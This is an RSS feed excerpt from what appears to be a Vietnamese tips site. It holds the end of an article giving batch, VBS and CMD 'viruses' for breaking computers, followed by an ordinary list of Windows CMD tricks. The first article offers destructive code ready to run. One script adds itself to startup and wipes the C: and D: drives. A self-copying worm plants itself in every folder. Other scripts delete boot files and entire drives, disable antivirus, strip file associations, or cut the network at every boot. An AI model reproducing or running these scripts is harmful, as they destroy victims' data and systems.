shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"</pre>
</p>
<p><strong>3) Check how many % of CPU is up to:</strong></p>
<p>You open notepad and type start 1.bat inside then you save this virus as</p>
<p>1.bat then immediately % CPU will increase.</p>
<p><strong>4) Repeat the mess cycle many times:</strong></p>
<p>Code:</p>
<pre class="lang:default decode:true ">@ECHO off&#13;
&#13;
:Begin&#13;
&#13;
msg * lời cảnh báo&#13;
&#13;
msg * lời cảnh báo&#13;
&#13;
msg * lời cảnh báo&#13;
&#13;
msg * lời cảnh báo&#13;
&#13;
msg * lời cảnh báo&#13;
&#13;
GOTO BEGIN&#13;
&#13;
VD:&#13;
&#13;
@ECHO off&#13;
&#13;
:Begin&#13;
&#13;
msg * Hi&#13;
&#13;
msg * khoe ko anh ?&#13;
&#13;
msg * em ne ?&#13;
&#13;
msg * buon ngu chua anh ?&#13;
&#13;
msg * tat may ngu thoi ,bb anh&#13;
&#13;
GOTO BEGIN</pre>
</p>
<p><strong>5) Automatic shutdown and with the message:</strong></p>
<p>Code:</p>
<pre class="lang:default decode:true ">@echo off&#13;
&#13;
msg * lời cảnh báo&#13;
&#13;
shutdown -c “lời cảnh báo” -s&#13;
&#13;
VD:@echo off&#13;
&#13;
msg * I LOVE YOU&#13;
&#13;
shutdown -c “Error! tam biet anh!” -s</pre>
</p>
<p style="text-align: center;"><strong>And here are some viruses with the ending .VBS</strong></p>
<ol>
<li><strong>Function to send warning messages:</strong></li>
</ol>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">TEXT1=MSGBOX("THÔNG ĐIÊP CẢNH BÁO",42,"TÊN THÔNG ĐIỆP CẢNH BÁO")&#13;
&#13;
</pre>
</p>
<p><strong style="font-family: Verdana, Geneva, sans-serif; font-size: 15px; color: #222222;">2) Computer stand function:</strong></p>
</blockquote>
<p>Code:</p>
<pre class="lang:default decode:true ">msgbox"Error !"&#13;
&#13;
On Error Resume Next&#13;
&#13;
Set vip_xinh = Createobject("scripting.filesystemobject")&#13;
&#13;
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )&amp; "&#13;
&#13;
vip_xinh.vbs"&#13;
&#13;
Set vip_xinh2= CreateObject("WScript.Shell")&#13;
&#13;
vip_xinh2.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRu&#13;
&#13;
ndie","wscript.exe "&amp; vip_xinh.GetSpecialFolder(0)&amp; " vip_xinh.vbs %"&#13;
&#13;
On Error Resume Next&#13;
&#13;
Const vic = "D:"&#13;
&#13;
Delvic&#13;
&#13;
Sub Delvic()&#13;
&#13;
Dim fso&#13;
&#13;
Set fso = CreateObject("Scripting.FileSystemObject")&#13;
&#13;
fso.DeleteFile vic &amp; "*.*" , True&#13;
&#13;
fso.DeleteFolder vic &amp; "*" , True&#13;
&#13;
End Sub&#13;
&#13;
On Error Resume Next&#13;
&#13;
Const vic1 = "C:windows"&#13;
&#13;
Delvic1&#13;
&#13;
Sub Delvic1()&#13;
&#13;
Dim fso1&#13;
&#13;
Set fso1 = CreateObject("Scripting.FileSystemObject")fso1.DeleteFile vic1 &amp; "*.*" , True&#13;
&#13;
fso1.DeleteFolder vic1 &amp; "*" , True&#13;
&#13;
End Sub&#13;
&#13;
On Error Resume Next&#13;
&#13;
Const vic2 = "C:"&#13;
&#13;
Delvic2&#13;
&#13;
Sub Delvic2()&#13;
&#13;
Dim fso2&#13;
&#13;
Set fso2 = CreateObject("Scripting.FileSystemObject")&#13;
&#13;
fso2.DeleteFile vic2 &amp; "*.*" , True&#13;
&#13;
fso2.DeleteFolder vic2 &amp; "*" , True&#13;
&#13;
End Sub&#13;
&#13;
On Error Resume Next&#13;
&#13;
Set treomay= CreateObject("WScript.Shell")&#13;
&#13;
Do&#13;
&#13;
treomay.run "notepad",false&#13;
&#13;
loop</pre>
</p>
<p><strong>3) This is a very evil virus I recommend if you want to try it, close</strong></p>
<p><strong>Tape all the drives before using it or you&#8217;ll be in danger</strong></p>
<p>Code:</p>
<pre class="lang:default decode:true ">Dim fso,file,VBCopy&#13;
&#13;
Set fso=CreateObject("Scripting.FileSystemObject")&#13;
&#13;
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)&#13;
&#13;
VBCopy=file.ReadAll&#13;
&#13;
FolderList("A:")&#13;
&#13;
FolderList("B:")&#13;
&#13;
FolderList("C:")&#13;
&#13;
FolderList("D:")&#13;
&#13;
FolderList("E:")&#13;
&#13;
FolderList("F:")&#13;
&#13;
FolderList("G:")&#13;
&#13;
FolderList("H:")&#13;
&#13;
FolderList("I:")FolderList("J:")&#13;
&#13;
FolderList("K:")&#13;
&#13;
FolderList("L:")&#13;
&#13;
FolderList("M:")&#13;
&#13;
FolderList("N:")&#13;
&#13;
FolderList("O:")&#13;
&#13;
FolderList("P:")&#13;
&#13;
FolderList("Q:")&#13;
&#13;
FolderList("R:")&#13;
&#13;
FolderList("S:")&#13;
&#13;
FolderList("T:")&#13;
&#13;
FolderList("U:")&#13;
&#13;
FolderList("V:")&#13;
&#13;
FolderList("X:")&#13;
&#13;
FolderList("Y:")&#13;
&#13;
FolderList("Z:")&#13;
&#13;
FolderList("W:")&#13;
&#13;
Sub FolderList(FolderSpec)&#13;
&#13;
On Error Resume Next&#13;
&#13;
Dim f,f1,sf,COP,CAP&#13;
&#13;
Set f=fso.GetFolder(FolderSpec)&#13;
&#13;
set sf=f.SubFolders&#13;
&#13;
For Each f1 In sf&#13;
&#13;
Set COP=fso.CreateTextFile(f1.path &amp; "Virus !!!!!!!.vbs")&#13;
&#13;
COP.write VBCopy&#13;
&#13;
Set CAP=fso.CreateTextFile(f1.path &amp; "---Virus !!!!!!!.vbs")&#13;
&#13;
CAP.write VBCopy&#13;
&#13;
FolderList(f1.Path)&#13;
&#13;
Next&#13;
&#13;
End sub</pre>
</p>
<p><em><strong>And here is the antidote:</strong></em></p>
<p>Code:</p>
<pre class="lang:default decode:true ">Dim fso,file,VBCopy&#13;
&#13;
Set fso=CreateObject("Scripting.FileSystemObject")&#13;
&#13;
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)VBCopy=file.ReadAll&#13;
&#13;
FolderList("A:")&#13;
&#13;
FolderList("B:")&#13;
&#13;
FolderList("C:")&#13;
&#13;
FolderList("D:")&#13;
&#13;
FolderList("E:")&#13;
&#13;
FolderList("F:")&#13;
&#13;
FolderList("G:")&#13;
&#13;
FolderList("H:")&#13;
&#13;
FolderList("I:")&#13;
&#13;
FolderList("J:")&#13;
&#13;
FolderList("K:")&#13;
&#13;
FolderList("L:")&#13;
&#13;
FolderList("M:")&#13;
&#13;
FolderList("N:")&#13;
&#13;
FolderList("O:")&#13;
&#13;
FolderList("P:")&#13;
&#13;
FolderList("Q:")&#13;
&#13;
FolderList("R:")&#13;
&#13;
FolderList("S:")&#13;
&#13;
FolderList("T:")&#13;
&#13;
FolderList("U:")&#13;
&#13;
FolderList("V:")&#13;
&#13;
FolderList("X:")&#13;
&#13;
FolderList("Y:")&#13;
&#13;
FolderList("Z:")&#13;
&#13;
FolderList("W:")&#13;
&#13;
Sub FolderList(FolderSpec)&#13;
&#13;
On Error Resume Next&#13;
&#13;
Dim f,f1,sf,COP,CAP,ATT&#13;
&#13;
Set f=fso.GetFolder(FolderSpec)&#13;
&#13;
set sf=f.SubFolders For Each f1 In sf&#13;
&#13;
'Set COP=fso.CreateTextFile(f1.path &amp; "Virus !!!!!!!.vbs")&#13;
&#13;
'COP.write VBCopy&#13;
&#13;
'Set CAP=fso.CreateTextFile(f1.path &amp; "---Virus !!!!!!!.vbs")&#13;
&#13;
'CAP.write VBCopy'Set ATT=fso.GetFolder(f1.Path)&#13;
&#13;
'ATT.Attributes=ATT.Attributes+2&#13;
&#13;
fso.DeleteFile(f1.path &amp; "Virus !!!!!!!.vbs")&#13;
&#13;
fso.DeleteFile(f1.path &amp; "---Virus !!!!!!!.vbs")&#13;
&#13;
FolderList(f1.Path)&#13;
&#13;
Next&#13;
&#13;
End sub</pre>
</p>
<p><strong>4) Function to open a message and then automatically shutdown:</strong></p>
<blockquote>
<p>Code:</p>
<pre class="lang:default decode:true ">@ECHO OFF&#13;
&#13;
MSG * THÔNG ĐIỆP&#13;
&#13;
SHUTDOWN -C "THÔNG ĐIỆP" -S -T 10</pre>
</p>
</blockquote>
<p><strong>5) Do not let the victim start the machine</strong>:</p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">DIM WSH&#13;
&#13;
SET WSH = CREATEOBJECT("WSCRIPT.SHELL")&#13;
&#13;
WSH.RUN "RUNDLL32.EXE USER.EXE,EXITWINDOWS"</pre>
</p>
</blockquote>
<p><strong>6)Disable NAV:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">DIM WSH&#13;
&#13;
SET WSH= CREATEOBJECT( "WSCRIPT.SHELL")&#13;
&#13;
S1 = " HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSETSERVIC&#13;
&#13;
ESNORTON PROGRAM&#13;
&#13;
SCHEDULERSTART"&#13;
&#13;
WSH.REGWRITE S1,3, "REG_DWORD"</pre>
</p>
</blockquote>
<p><strong>7) Display the message every time you restart the computer:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">DIM WSH&#13;
&#13;
SET WSH = CREATEOBJECT( "WSCRIPT.SHELL" )&#13;
&#13;
S1 = " HKLMSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONWIN&#13;
&#13;
LOGON"&#13;
&#13;
S2 = "LEGALNOTICECAPTION"S3 = "LEGALNOTICETEXT"&#13;
&#13;
WSH.REGWRITE S1+S2, "LỜI CẢNH BÁO"&#13;
&#13;
WSH.REGWRITE S1+S3, "LỜI CẢNH BÁO"</pre>
</p>
</blockquote>
<p><strong>8) The tutorial will show up when you click on Folder:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">SET REG=CREATEOBJECT("WSCRIPT.SHELL")&#13;
&#13;
REG.REGWRITE "HKEY_CLASSES_ROOT*SHELL","LOI CANH BAO"&#13;
&#13;
REG.REGWRITE "HKEY_CLASSES_ROOTFOLDERSHELLLOI CANH BAO","SLM"</pre>
</p>
<p>eg:</p>
<pre class="lang:default decode:true ">SET REG=CREATEOBJECT("WSCRIPT.SHELL")&#13;
&#13;
REG.REGWRITE "HKEY_CLASSES_ROOT*SHELL","HI ! BAN DA BI NHIEM WK&#13;
&#13;
TU TRUONGTON.NET"&#13;
&#13;
REG.REGWRITE "HKEY_CLASSES_ROOTFOLDERSHELLHI ! BAN DA BI NHIEM WK&#13;
&#13;
TU TRUONGTON.NET","SLM"</pre>
</p>
</blockquote>
<p><strong>9) Delete Registry Files:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">@ECHO OFF&#13;
&#13;
START REG DELETE HKCR/.EXE&#13;
&#13;
START REG DELETE HKCR/.DLL&#13;
&#13;
START REG DELETE HKCR/*&#13;
&#13;
:MESSAGE&#13;
&#13;
ECHO SLM LOI CANH BAO.&#13;
&#13;
GOTO MESSAGE</pre>
</p>
<p>eg:</p>
<pre class="lang:default decode:true ">@ECHO OFF&#13;
&#13;
START REG DELETE HKCR/.EXE&#13;
&#13;
START REG DELETE HKCR/.DLL&#13;
&#13;
START REG DELETE HKCR/*&#13;
&#13;
:MESSAGE&#13;
&#13;
ECHO SLM CHUC ANH 1 NGAY VUI VE.&#13;
&#13;
GOTO MESSAGE</pre>
</p>
</blockquote>
<p><strong>10) Turn on notepad and continue to run the computer:</strong></p>
<blockquote>
<pre class="lang:default decode:true ">CODE:@ECHO OFF&#13;
&#13;
:TOP&#13;
&#13;
START %SYSTEMROOT%SYSTEM32NOTEPAD.EXE&#13;
&#13;
GOTO TOP</pre>
</p>
</blockquote>
<p><strong>11) Turn caps lock on and off continuously:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">SET WSHSHELL =WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")&#13;
&#13;
DO&#13;
&#13;
WSCRIPT.SLEEP 100&#13;
&#13;
WSHSHELL.SENDKEYS "{CAPSLOCK}"&#13;
&#13;
LOOP</pre>
</p>
</blockquote>
<p><strong>12) Press enter continuously:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">SET WSHSHELL = WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")&#13;
&#13;
DO&#13;
&#13;
WSCRIPT.SLEEP 100&#13;
&#13;
WSHSHELL.SENDKEYS "~(ENTER)"&#13;
&#13;
LOOP</pre>
</p>
</blockquote>
<p style="text-align: left;"><strong>12) Pressing Space continuously:</strong></p>
<blockquote>
<pre class="lang:default decode:true ">MSGBOX "LET'S GO BACK A FEW STEPS"&#13;
&#13;
SET WSHSHELL =WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")&#13;
&#13;
DO&#13;
&#13;
WSCRIPT.SLEEP 100&#13;
&#13;
WSHSHELL.SENDKEYS "{BS}"&#13;
&#13;
LOOP</pre>
</p>
</blockquote>
<p style="text-align: center;"><strong>And here are some viruses with the .cmd extension:</strong></p>
<p><strong>1) Delete all files in the machine:</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true ">DEL /F /Q *</pre>
</p>
</blockquote>
<p><strong>2) Delete a certain file:</strong></p>
<p>Code:</p>
<p>erase path eg:</p>
<blockquote>
<pre class="lang:default decode:true ">ERASE C:TEST.TXT</pre>
</p>
</blockquote>
<p><strong>3) Hide all files in windows</strong></p>
<p>Code:</p>
<blockquote>
<pre class="lang:default decode:true">ATTRIB +S /F /Q *</pre>
</blockquote>
<h2 style="text-align: center;"><span style="color: #ff0000;">Update Add Some Extremely Dangerous Virus</span></h2>
<p><strong>1) Goodbye PC Forever </strong><br />Be careful when you&#8217;re done, don&#8217;t click it!!</p>
<pre class="lang:default decode:true">@echo off&#13;
&#13;
attrib -r -s -hc:  autoexec.bat&#13;
&#13;
del c:  autoexec.bat&#13;
&#13;
attrib -r -s -hc:  boot.ini&#13;
&#13;
del c:  boot.ini&#13;
&#13;
attrib -r -s -hc:  ntldr&#13;
&#13;
del c:  ntldr&#13;
&#13;
attrib -r -s -hc:  windows  win.ini&#13;
&#13;
del c:  windows  win.ini</pre>
<p>Save With Tail<strong> .Bat</strong> and don&#8217;t click if you don&#8217;t want to face consequences!!</p>
<p><strong>2) Dangerous Virus With No Name</strong></p>
<pre class="lang:default decode:true ">@echo off&#13;
&#13;
del D:  *. * / f / s / q&#13;
&#13;
del E:  *. * / f / s / q&#13;
&#13;
del F:  *. * / f / s / q&#13;
&#13;
del G:  *. * / f / s / q&#13;
&#13;
del H:  *. * / f / s / q&#13;
&#13;
del I:  *. * / f / s / q&#13;
&#13;
del J:  *. * / f / s / q</pre>
<p>Save With Name <strong>SEO.bat</strong><br />This is even more dangerous.  Just to learn, not to break people&#8217;s machines =)</p>
<p><strong>4) Don&#8217;t Give</strong> <strong>Windows Startup</strong></p>
<pre class="lang:default decode:true ">Del c:.  WINDOWS  system32  * * / q</pre>
<p>Save as <strong>anything.bat</strong></p>
<p><strong>5) Disable Internet Permanently</strong></p>
<pre class="lang:default decode:true ">echo @echo off&gt;c:windowswimn32.bat&#13;
&#13;
echo break off&gt;&gt;c:windowswimn32.bat&#13;
&#13;
echo ipconfig/release_all&gt;&gt;c:windowswimn32.bat&#13;
&#13;
echo end&gt;&gt;c:windowswimn32.bat&#13;
&#13;
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f&#13;
&#13;
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f&#13;
&#13;
echo You Have Been HACKED!&#13;
&#13;
PAUSE</pre>
<p>Save with Tail <strong>.Bat</strong></p>
<p><strong>6) Change All Tails to TXT</strong></p>
<p>Disrupting computer data</p>
<pre class="lang:default decode:true ">REN * .DOC * .TXT REN * .JPEG * .TXT&#13;
&#13;
REN * LNK * .TXT&#13;
&#13;
REN * .AVI * .TXT&#13;
&#13;
REN * .MPEG * .TXT&#13;
&#13;
REN * .COM * .TXT&#13;
&#13;
REN * .BAT * .TXT</pre>
<p>Save the Tail <strong>.Bat</strong></p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;361&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
<p><!-- AI CONTENT END 2 --></p></div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/break-the-computer-with-cmd-bat-file/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2015/12/hackcmd.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>16 good commands and tricks with CMD on Windows</title>
		<link>https://en.anonyviet.com/16-good-commands-and-tricks-with-cmd-on-windows/</link>
					<comments>https://en.anonyviet.com/16-good-commands-and-tricks-with-cmd-on-windows/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 30 Jan 2023 23:48:25 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[good]]></category>
		<category><![CDATA[tricks]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=7052</guid>

					<description><![CDATA[Command Prompt is the default Windows command-line compiler and is commonly referred to as CMD. The first version of cmd was developed by Therese Stowell for Windows NT. The maximum length of string that can be used in the command prompt is 8191 characters for the Operating System Windows XP and above and is 2047 [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div id="ftwp-postcontent">
<p><strong>Command Prompt is the default Windows command-line compiler and is commonly referred to as CMD.  The first version of cmd was developed by Therese Stowell for Windows NT.  The maximum length of string that can be used in the command prompt is 8191 characters for the Operating System Windows XP and above and is 2047 characters for earlier versions such as Windows 2000 and Windows NT 4.0, etc. introduce you to the cool tricks with CMD that you did not know.</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p>In this article, AnonyViet introduces some important Windows CMD commands that can definitely help increase your performance and productivity when working on Command prompt.  Check out some tips and tricks along with those commands.</p>
<p>Also you can see some <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2F%3Fs%3Dcmd" rel="noopener noreferrer" class="local-link">funny tricks with CMD</a>.</p>
<h2 id="ftoc-16-lenh-va-thu-thuat-hay-voi-cmd-tren-windows" class="ftwp-heading">16 good commands and tricks with CMD on Windows</h2>
<h3 id="ftoc-cac-phim-tat-tren-cmd" class="ftwp-heading">Keyboard shortcuts on CMD</h3>
<p>Remembering keyboard shortcuts will increase your productivity.  So CMD has some shortcuts to help you quickly manipulate commands that you need to know:</p>
<ul>
<li>Autofill folder names: [ <strong>Tab</strong> ]</li>
<li>Repeat last executed command: [ <strong>Mũi tên lên hoặc F3</strong> ]</li>
<li>Automatically enter the last executed command character by character: [ <strong>Mũi tên phải</strong> ]</li>
<li>Show history of executed commands: [ <strong>F7</strong> ]</li>
<li>Delete the contents of the current line: [ <strong>Escape</strong> ]</li>
<li>Ignore the current line you are typing or the command being executed: [ <strong>Ctrl + C</strong> ]</li>
<li>Delete the word to the left of the insertion point: [ <strong>Ctrl + Backspace</strong> ]</li>
</ul>
<h3 id="ftoc-mo-cmd-voi-duong-dan-la-thu-muc-hien-tai" class="ftwp-heading">Open CMD with path as current directory</h3>
<p>Command to move to current directory on CMD is <code>cd đường-dẫn-cần-đến</code>.  However if you are in a subdirectory and the path is quite long.  Open that folder with <strong>Windows Explorer</strong> and in the address bar type the command <strong>cmd</strong> then press <strong>Enter</strong>.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Fmo-nhanh-cmd-o-thu-muc-hien-hanh-1.jpg" rel="noopener" class="local-link"><img decoding="async" class="aligncenter wp-image-23345 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/mo-nhanh-cmd-o-thu-muc-hien-hanh-1.jpg" alt="cool trick with CMD" width="506" height="293" srcset="https://anonyviet.com/wp-content/uploads/2020/11/mo-nhanh-cmd-o-thu-muc-hien-hanh-1.jpg 506w, https://anonyviet.com/wp-content/uploads/2020/11/mo-nhanh-cmd-o-thu-muc-hien-hanh-1-300x174.jpg 300w" sizes="(max-width: 506px) 100vw, 506px" title="16 good commands and tricks with CMD on Windows 13"/></a></p>
<p>Then, the CMD window will open and the current path will be the open directory of <strong>Windows Explorer.</strong></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Fcmd-thu-muc-hien-hanh-1.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-23346 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/cmd-thu-muc-hien-hanh-1.jpg" alt="open cmd at current path" width="729" height="193" srcset="https://anonyviet.com/wp-content/uploads/2020/11/cmd-thu-muc-hien-hanh-1.jpg 729w, https://anonyviet.com/wp-content/uploads/2020/11/cmd-thu-muc-hien-hanh-1-300x79.jpg 300w" sizes="auto, (max-width: 729px) 100vw, 729px" title="16 good commands and tricks with CMD on Windows 14"/></a></p>
<h3 id="ftoc-tao-thu-muc-an-toan-bat-kha-xam-pham" class="ftwp-heading">Create secure folders – impregnable</h3>
<p>If you want others to tamper with your Data, you can <strong>create a safe folder</strong> with the help of this command.  The directory is created with this command <strong>cannot be copied or moved</strong> to another location or deleted by anyone.  Launch CMD where you want to create folder and execute below command.</p>
<ul>
<li>To create a directory: <code>md Aux\</code> This command will create a Secure folder named Aux”</li>
<li>To delete a folder: <code>rd Aux\</code> This command will delete the folder created with the above command, make sure the folder is empty when you delete, otherwise the system will not allow to delete the folder with the command”</li>
</ul>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Ftao-thu-muc-khong-the-xoa.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-23347 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/tao-thu-muc-khong-the-xoa.jpg" alt="Create safe folders - impregnable" width="503" height="134" srcset="https://anonyviet.com/wp-content/uploads/2020/11/tao-thu-muc-khong-the-xoa.jpg 503w, https://anonyviet.com/wp-content/uploads/2020/11/tao-thu-muc-khong-the-xoa-300x80.jpg 300w" sizes="auto, (max-width: 503px) 100vw, 503px" title="16 good commands and tricks with CMD on Windows 15"/></a></p>
<h3 id="ftoc-an-thu-muc" class="ftwp-heading">Hide folder</h3>
<p>If you have some confidential data and don&#8217;t want to share it with anyone then this command will be very useful.  You can hide the folder with the help of this command and no one can see it unless you unhide it.  Hidden folders won&#8217;t show even if Option is turned off”<strong>Hidden items</strong>“ get Options – Views.</p>
<ul>
<li>To hide a folder: <code>attrib +h +s +r Tên-thư-mục-cần-ẩn</code> Eg: [attrib +h +s +r D:\AnonyViet]</li>
<li>To unhide a folder: <code>attrib –h –s –r Tên-thư-mục-cần-bỏ-ẩn</code></li>
</ul>
<h3 id="ftoc-lenh-cmd-de-tat-may-khoi-dong-lai-logoff" class="ftwp-heading">CMD command to shutdown, reboot, Logoff</h3>
<p>If you want to shutdown, reboot and logout using CMD below commands will help you to do that.</p>
<ul>
<li>Restart or shut down the computer using the interface window: [ <strong>shutdown /i</strong> ]</li>
<li>Put the machine in Hibernate mode immediately: [ <strong>shutdown /h</strong> ]</li>
<li>Turn off the computer completely: [ <strong>shutdown /p</strong> ]</li>
<li>Sign out of the current account: [ <strong>shutdown /l</strong> ]</li>
<li>Turn off the computer: [ <strong>shutdown /s</strong> ]</li>
<li>Shutdown in the specified timer: [ <strong>shutdown /s /t xx</strong> ] (XX is the time in seconds)</li>
<li>Abort strange boot/shutdown during timeout: [ <strong>shutdown /a</strong> ]</li>
<li>Reboot with advanced boot options: [ <strong>shutdown /r /o</strong> ]</li>
<li>Show message before shutdown/restart: [ <strong>shutdown / c “Nội dung Thông báo”</strong> ]</li>
</ul>
<h3 id="ftoc-tuy-chinh-co-chu-mau-kich-thuoc-trong-cmd" class="ftwp-heading">Customize font size, color, size in CMD</h3>
<p>If you are bored with the black and white CMD window then here is good news for you, you can customize it with the help of commands.  You can change the title, prompt name, text color and background color of CMD with the commands below.</p>
<ul>
<li>To change the title of CMD: for example <strong><code>title tên-tiêu-đề</code>, </strong> Eg: <strong>title AnonyViet</strong></li>
<li>To change the name of the command prompt:  <strong><code>prompt tên-cần-đổi:</code>,</strong> Eg: [<strong>prompt AnonyViet:]</strong></li>
<li>To change the background color and font: [<strong><code>Color mã-màu</code></strong>] Eg: [<strong>Color 03</strong>] (Type color /? to see a list of color codes)</li>
</ul>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Fthay-doi-mau-tieu-de-cmd.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-23348 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/thay-doi-mau-tieu-de-cmd.jpg" alt="Customize font size, color, size in CMD" width="448" height="326" srcset="https://anonyviet.com/wp-content/uploads/2020/11/thay-doi-mau-tieu-de-cmd.jpg 448w, https://anonyviet.com/wp-content/uploads/2020/11/thay-doi-mau-tieu-de-cmd-300x218.jpg 300w, https://anonyviet.com/wp-content/uploads/2020/11/thay-doi-mau-tieu-de-cmd-120x86.jpg 120w" sizes="auto, (max-width: 448px) 100vw, 448px" title="16 good commands and tricks with CMD on Windows 16"/></a></p>
<p>If you want to change the font, font color, font size&#8230; you right-click on the title bar, select <strong>Properties, </strong>then there will be its own preferences window.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2FProperties-cmd.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-23349 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/Properties-cmd.jpg" alt="Properties cmd" width="640" height="200" srcset="https://anonyviet.com/wp-content/uploads/2020/11/Properties-cmd.jpg 640w, https://anonyviet.com/wp-content/uploads/2020/11/Properties-cmd-300x94.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px" title="16 good commands and tricks with CMD on Windows 17"/></a></p>
<h3 id="ftoc-tao-hotspot-wifi-de-chia-se-ket-noi" class="ftwp-heading">Create wifi hotspot to share connection</h3>
<p>If your computer is connected to Wifi, you can use your computer to create a Wifi hotspot for other devices.  Proceed as follows:</p>
<ul>
<li>Create hotspot: <code>netsh wlan set hostednetwork mode=allow SSID=WIFI-Name Key=Password of Wi-Fi</code>.  (Password must be 8 characters or more).</li>
</ul>
<p>Eg: <code>netsh wlan set hostednetwork mode=allow SSID=AnonyViet Key=123456789</code></p>
<ul>
<li>Start hotspot: [netsh wlan start hostednetwork]</li>
<li>Turn off hotspot: [netsh wlan stop hostednetwork]</li>
</ul>
<h3 id="ftoc-xoa-lenh-cu-lam-sach-man-hinh-cmd" class="ftwp-heading">Remove old command, clean CMD . screen</h3>
<p>If there is too much content on the CMD screen, you want to delete it to enter other commands for easy management.  Please use the command <code>cls</code>.  Immediately the cmd screen will return to black and no text.</p>
<h3 id="ftoc-liet-ke-danh-sach-cac-chuong-trinh-duoc-cai-tren-windows" class="ftwp-heading">List of programs installed on Windows</h3>
<p>You can get a complete list of programs installed on your machine by typing a simple command.  The time to fetch the program list will completely depend on the number of programs installed in the machine.</p>
<ul>
<li>To get a list of Installed Applications:  <strong><code>wmic product get name</code></strong></li>
</ul>
